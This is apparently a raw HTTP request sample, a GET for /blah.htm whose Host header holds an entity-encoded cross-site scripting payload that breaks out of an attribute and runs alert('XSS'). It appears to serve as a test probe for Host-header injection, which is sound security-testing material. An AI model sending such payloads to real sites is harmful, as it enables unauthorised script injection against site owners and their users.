GET /blah.htm HTTP/1.1

Host: &quot;&gt;&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;